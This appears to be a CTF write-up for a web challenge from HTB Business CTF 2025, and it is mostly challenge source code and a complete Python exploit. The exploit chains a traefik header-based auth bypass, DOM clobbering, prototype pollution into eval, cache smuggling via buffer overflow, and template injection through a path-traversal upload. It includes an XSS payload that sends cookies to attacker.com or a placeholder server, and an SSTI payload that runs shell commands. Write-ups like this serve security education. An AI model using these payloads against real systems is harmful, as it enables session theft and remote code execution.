HTB Business CTF (Global Cyber Skills Benchmark CTF 2025) Writeup web編

Connection: close, X-Forwarded-Host

#define BUFFER_SIZE 1024
void *handle_client(void *client_socket_ptr) {
    int client_socket = *(int *)client_socket_ptr;
    free(client_socket_ptr);
    char buffer[BUFFER_SIZE];
    ssize_t read_size;

    while ((read_size = recv(client_socket, buffer, BUFFER_SIZE - 1, 0)) > 0) {
        buffer[read_size] = '\0';
        char command[BUFFER_SIZE];
        char key[BUFFER_SIZE];
        char value[BUFFER_SIZE];

        if (sscanf(buffer, "set %s %s", key, value) == 2) {
            set(key, value);
            send(client_socket, "STORED\r\n", 8, 0);
        } else if (sscanf(buffer, "get %s", key) == 1) {
            char *result = get(key);
            if (result) {
                send(client_socket, result, strlen(result), 0);
                send(client_socket, "\r\n", 2, 0);
            } else {
                send(client_socket, "NOT_FOUND\r\n", 11, 0);
            }
        } else if (strcmp(buffer, "list\n") == 0) {
            print_all_keys(client_socket);
        } else {
            send(client_socket, "ERROR\r\n", 7, 0);
        }
    }

    close(client_socket);
    pretty_print("Client disconnected", 3);
    return NULL;
}

/
/get-an-account
/about-us
/privacy-policy
/for-developers
/login
/front_end_error/<action>/<log_level> 

/logout (要認証)
/dashboard (要認証)
/live_signals (要認証)
/copy_trade (要認証)
/my_trades (要認証)
/datasets (要認証)
/upload_dataset (要認証)
/plugins (要認証)
/run_plugin (要認証)

/api/
/api/active_signals (APIトークン)
/api/copy_signal_trade (APIトークン)
/api/trades (APIトークン)
/api/edit_trade (APIトークン)

@web.route("/front_end_error/<action>/<log_level>", methods=["POST"])
def log_front_end_error(action, log_level):
	error = request.json

	if action == "new":
		if not error or not log_level:
			return jsonify({"message": "Missing user input"}), 401

		FRONT_END_ERRORS[log_level] = error
		return jsonify({"message": "Error logged"}), 200

	elif action == "view":
		if log_level not in FRONT_END_ERRORS:
			return jsonify({"message": "No errors found for the specified log level"}), 404

		return jsonify(FRONT_END_ERRORS[log_level]), 200

	else:
		return jsonify({"message": "Invalid action"}), 400

def token_required(f):
	@wraps(f)
	def decorated_function(*args, **kwargs):
		client_ip = request.headers.get("X-Real-IP")

		if not client_ip:
			return f(*args, **kwargs)

		token = request.headers.get("Authorization")
		if not token:
			return jsonify({"error": "API token is missing"}), 401

		db_session = Database()
		valid, user = db_session.validate_token(token)
		if not valid:
			return jsonify({"error": "Invalid API token"}), 401

		g.user = user
		return f(*args, **kwargs)
	return decorated_function

@api.route("/edit_trade", methods=["POST"])
@token_required
def edit_trade():
	if not request.json:
		return jsonify({"error": "No JSON data provided"}), 400

	data = request.json
	trade_id = data.get("trade_id")
	symbol = data.get("symbol")
	action = data.get("action")
	price = data.get("price")

	if not trade_id:
		return jsonify({"error": "Trade ID is required"}), 400

	if not (symbol or action or price):
		return jsonify({"error": "At least one of symbol, action, or price must be provided"}), 400

	cache_session = AetherCacheClient()
	user_id = g.user.id if g.get("user") else "sys_admin"

	trade_key = f"user:{user_id}:trade:{trade_id}"
	trade_data = cache_session.get(trade_key)

	if not trade_data:
		return jsonify({"error": "Trade not found"}), 404

	parsed_trade_data = parse_signal_data(trade_data)

	if symbol:
		parsed_trade_data["symbol"] = symbol
	if action:
		parsed_trade_data["action"] = action
	if price:
		parsed_trade_data["price"] = price

	updated_trade_data = format_signal_data(
		parsed_trade_data["symbol"],
		parsed_trade_data["action"],
		parsed_trade_data["price"]
	)
	cache_session.set(trade_key, updated_trade_data)

	return jsonify({"message": "Trade updated successfully", "trade_id": trade_id})

<tbody>
  {% for trade in trades %}
    <tr>
      <td>{{ loop.index }}</td>
      <td>{{ trade.data.action | safe }}</td>
      <td>{{ trade.data.price | safe }}</td>
      <td>{{ trade.data.symbol | safe }}</td>
      <td>{{ trade.key }}</td>
    </tr>
  {% endfor %}
</tbody>

  if not check_dataset_filename(file.filename) and not is_tar_file(file.filename):
		return render_template(
			"error.html",
			title="Error",
			type="Input1",
			message="File not valid",
			nav_enabled=False,
		), 403

  tmp_file_path = str(uuid.uuid4()) + ".tar"
	upload_path = os.path.join("/tmp", tmp_file_path)
	file.save(upload_path)

	if not is_tar_content(upload_path):
		os.unlink(upload_path)
		return render_template(
			"error.html",
			title="Error",
			type="Input2",
			message="File not valid",
			nav_enabled=False,
		), 403

def check_dataset_filename(file_path):
	if re.match(r"^[a-zA-Z0-9./]+$", file_path):
		return True
	else:
		return False
		

def is_tar_file(file_path):
	return file_path.lower().endswith(".tar")
	
def is_tar_content(file_path):
	try:
		result = subprocess.run(
			["exiftool", file_path],
			capture_output=True,
			text=True,
			check=True
		)
		for line in result.stdout.splitlines():
			if "file type" in line.lower():
				return "tar" in line.lower()
		return False
	except subprocess.CalledProcessError:
		return False
	except FileNotFoundError:
		return False

  new_upload_path = os.path.join("/app/application/datasets", file.filename)
	os.rename(upload_path, new_upload_path)

  plugin_path = plugin_dir + "/" + plugin
	if not check_plugin_filename(plugin) or not is_exe_file(plugin_path):
		return render_template(
			"error.html",
			title="Error",
			type="Input",
			message="Invalid plugin",
			nav_enabled=False,
		), 403

	plugin_results = run_plugin(plugin_path)

def check_plugin_filename(file_path):
	if re.match(r"^[a-zA-Z0-9.]+$", file_path):
		return True
	else:
		return False

def is_exe_file(file_path):
	try:
		result = subprocess.run(
			["readelf", "-h", file_path],
			capture_output=True,
			text=True,
			check=True
		)
		for line in result.stdout.splitlines():
			if "class" in line.lower():
				return "elf" in line.lower()
		return False
	except subprocess.CalledProcessError:
		return False
	except FileNotFoundError:
		return False

GET /api/active_signals HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: keep-alive, X-Real-IP

{"signals":[{"data":{"action":"buy","price":"150.236","symbol":"AAPL"},"key":"2ade5add-75d8-48dc-b022-aeb57ce5f6c2"},{"data":{"action":"sell","price":"2800.12","symbol":"GOOGL"},"key":"96294bb1-4dc5-4389-8bc5-54687a381bb9"},{"data":{"action":"sell","price":"3321.10","symbol":"AMZN"},"key":"8d3d42f3-089d-42b2-89d8-18da8d9f66cd"}]}

@web.route("/my_trades", methods=["GET"])
@login_required
def my_trades():
	trade_data = fetch_cache("trades", session["api_token"])
	if "error" in trade_data:
		trade_data = None
	else:
		trade_data = trade_data["trades"]

	return render_template("my_trades.html", title="Live Signals", session_data=session, trades=trade_data)

def fetch_cache(endpoint, token):
	endpoint = f"http://127.0.0.1:1337/api/{endpoint}"
	headers = {
		"Authorization": f"{token}",
		"Content-Type": "application/json"
	}
	
	try:
		response = requests.get(endpoint, headers=headers)
		response.raise_for_status()
		return response.json()
	except requests.exceptions.RequestException as e:
		return {"error": str(e)}

@api.route("/trades", methods=["GET"])
@token_required
def trades():
	cache_session = AetherCacheClient()

	user_id = g.user.id if g.get("user") else "sys_admin"

	trade_keys = cache_session.list_keys()

	trades = []
	for key in trade_keys:
		if key.startswith(f"user:{user_id}:trade:"):
			value = cache_session.get(key)
			if value:
				trades.append({
					"key": key.split(":")[-1],
					"data": parse_signal_data(value)
				})

	return jsonify({"trades": trades})

@web.after_request
def apply_csp(response):
	response.headers["Content-Security-Policy"] = f"default-src 'self'; script-src 'self' 'nonce-{g.nonce}' 'unsafe-eval'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; media-src 'self'; object-src 'self'"
	return response

window.onload = () => {
    const merge = (target, source) => {
        for (let attr in source) {
            if (
                typeof target[attr] === "object" &&
                typeof source[attr] === "object"
            ) {
                merge(target[attr], source[attr]);
            } else {
                target[attr] = source[attr];
            }
        }
        return target;
    };

    const startTime = new Date();

    try {
        if (document.getElementById("DEMO_VERSION") == 1) {
            alert(
                "Warning: this is a demo version, contact us for full version",
            );
        } else {
            null;
        }
    } catch (error) {
        if (window.UI_DEV_MODE) {
            const logData = {
                config: window.currentConfig || {},
                userAgent: navigator.userAgent,
            };

            fetch(
                `/front_end_error/new/${LOG_LEVEL?.attributes?.int?.nodeValue || "default"}`,
                {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json",
                    },
                    body: JSON.stringify(logData),
                },
            )
                .then((r) => r.text())
                .then((data) => {
                    data = JSON.parse(data);
                    data = merge(logData, data);

                    const configKeysLength = logData.config.length;
                    const evaluatedConfigSize = eval(
                        `${configKeysLength} > 5 ? 'Large Configuration' : 'Small Configuration'`,
                    );

                    const endTime = new Date();
                    const timeElapsed = eval(
                        `(${endTime.getTime()} - ${startTime.getTime()}) / 1000`,
                    );
                    const timeSeconds = eval(`${timeElapsed} / 60`);

                    const element = document.createElement("div");
                    element.innerHTML = [
                        "start: " + startTime,
                        "end: " + endTime,
                        "timeElapsed: " + timeElapsed,
                        "timeSeconds: " + timeSeconds,
                        "Evaluated Config Size: " + evaluatedConfigSize,
                    ].toString();

                    document.body.appendChild(element);
                });
        } else {
            alert(error);
        }
    }

    setTimeout(() => {
        document.getElementById("loadingSection").classList.add("hide");
    }, 3000);

    const menuToggle = document.getElementById("menu-toggle");
    const wrapper = document.getElementById("wrapper");
    if (document.body.contains(menuToggle) && document.body.contains(wrapper)) {
        menuToggle.addEventListener("click", () => {
            wrapper.classList.toggle("toggled");
        });
    }
}

    try {
        if (document.getElementById("DEMO_VERSION") == 1) {
            alert(
                "Warning: this is a demo version, contact us for full version",
            );
        } else {
            null;
        }
    } catch (error) {

<form/id="hack"><img/name="getElementById"></form>

if (window.UI_DEV_MODE) {

<div/id="UI_DEV_MODE"></div>

            const logData = {
                config: window.currentConfig || {},
                userAgent: navigator.userAgent,
            };

            fetch(
                `/front_end_error/new/${LOG_LEVEL?.attributes?.int?.nodeValue || "default"}`,
                {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json",
                    },
                    body: JSON.stringify(logData),
                },
            )
                .then((r) => r.text())
                .then((data) => {
                    data = JSON.parse(data);
                    data = merge(logData, data);

                    const configKeysLength = logData.config.length;
                    const evaluatedConfigSize = eval(
                        `${configKeysLength} > 5 ? 'Large Configuration' : 'Small Configuration'`,
                    );

    const merge = (target, source) => {
        for (let attr in source) {
            if (
                typeof target[attr] === "object" &&
                typeof source[attr] === "object"
            ) {
                merge(target[attr], source[attr]);
            } else {
                target[attr] = source[attr];
            }
        }
        return target;
    };

<div/id="LOG_LEVEL"int="../view/hack">

    xss_payload = f"location.href = 'https://attacker.com/?' + document.cookie;//"
    data = {
        "__proto__": {
            "length": xss_payload
        }
    }
    r = requests.post(f"{args.rhost}/front_end_error/new/hack", json=data)

<form/id="hack">
  <img/name="getElementById">
</form>
<div/id="UI_DEV_MODE"></div>
<div/id="LOG_LEVEL"int="../view/hack"></div>

set user:1:trade:hack symbol|AAA|action|buy|price|<form/id="hack"><img/name="getElementById"></form><div/id="UI_DEV_MODE"></div><div/id="LOG_LEVEL"int="../view/hack"></div>

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAset user:1:trade:hack symbol|AAA|action|buy|price|<form/id="hack"><img/name="getElementById"></form><div/id="UI_DEV_MODE"></div><div/id="LOG_LEVEL"int="../view/hack"></div>

#!/bin/tar
{{ 4*4 }}

#!/bin/tar
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag*').read() }}

import requests
import argparse
from requests.cookies import RequestsCookieJar
from urllib.parse import urlparse
import io

LHOST = "https://YOUR-SERVER"

def api_request(method, url, data={}):
    '''
    traefik CVE-2024-45410, API Token check bypass
    '''
    headers = {
        "Content-Type": "application/json",
        "Connection": "keep-alive, X-Real-IP"
    }

    if method == "GET":
        r = requests.get(url, params=data, headers=headers)
    elif method == "POST":
        r = requests.post(url, json=data, headers=headers)
    return r

def main():
    parser = argparse.ArgumentParser("exploit")
    parser.add_argument("rhost")

    args = parser.parse_args()

    print("[i] Copying a trade")
    r = api_request("GET", f"{args.rhost}/api/active_signals")
    target_signal = r.json()["signals"][0]
    data = {
        "signal_id": target_signal["key"]
    }
    r = api_request("POST", f"{args.rhost}/api/copy_signal_trade", data=data)
    trade_id = r.json()["trade_id"]
    print(f"[+] Trade copied: {trade_id}")
    print(f"[i] Setting up Prototype Pollution payload")
    # Client-Side Path Traversal will be performed later to get /front_end_error/view/hack
    # Here is the preparation for Prototype Pollution
    xss_payload = f"location.href = '{LHOST}/?' + document.cookie;//"
    data = {
        "__proto__": {
            "length": xss_payload
        }
    }
    r = requests.post(f"{args.rhost}/front_end_error/new/hack", json=data)
    print("[i] Editing the trade to implant XSS payload")
    # to inject trade for admin user, we need to perform Cache Smuggling
    # the cache query is executed for each 1023 byte
    sample_query = "set user:sys_admin:trade:d0142c74-d699-49b6-91b5-d21e34941faa symbol|AAA|action|buy|price|"
    # <form/id=\"hack\"><img/name=\"getElementById\"></form> overwrite document.getElementById to throw an error
    # <div/id=\"UI_DEV_MODE\"></div> define UI_DEV_MODE
    # <div/id=\"LOG_LEVEL\"int=\"../view/hack\"> // set LOG_LEVEL properly to perform Client-Side Path Traversal. /front_end_error/view/hack will return Prototype Pollution payload
    payload = "<form/id=\"hack\"><img/name=\"getElementById\"></form><div/id=\"UI_DEV_MODE\"></div><div/id=\"LOG_LEVEL\"int=\"../view/hack\"></div>"
    buf_len = 1022 - len(sample_query)
    price = "A" * buf_len + f"set user:1:trade:hack symbol|AAA|action|buy|price|{payload}" 
    
    data = {
        "trade_id": trade_id,
        "price": price
    }
    r = api_request("POST", f"{args.rhost}/api/edit_trade", data=data)
    print(r.json())
    print("[+] Wait for admin...")
    admin_session = input("admin session> ")
    # update session cookie
    s = requests.Session()
    jar = RequestsCookieJar()
    parsed_url = urlparse(args.rhost)
    domain = parsed_url.hostname
    jar.set('session', admin_session, domain=domain, path='/')
    s.cookies.update(jar)

    print("[i] Uploading SSTI payload")
    # the payload have to meet following conditions
    # - name should pass regex check ^[a-zA-Z0-9./]+$, or end with '.tar'
    # - exiftool should return "file type" and "tar" in one line

    # #!/bin/tar will let exiftool misinterpret the file type as "tar script"
    payload = b"#!/bin/tar\n{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag*').read() }}\n"
    file_data = io.BytesIO(payload)
    # perform path traversal to overwrite template file
    files = {'dataset_file': ("../templates/index.html", file_data)}
    r = s.post(f"{args.rhost}/upload_dataset", files=files)
    print("[+] Template file uploaded")

    r = s.get(f"{args.rhost}/")
    print(r.text)
    


if __name__ == "__main__":
    main()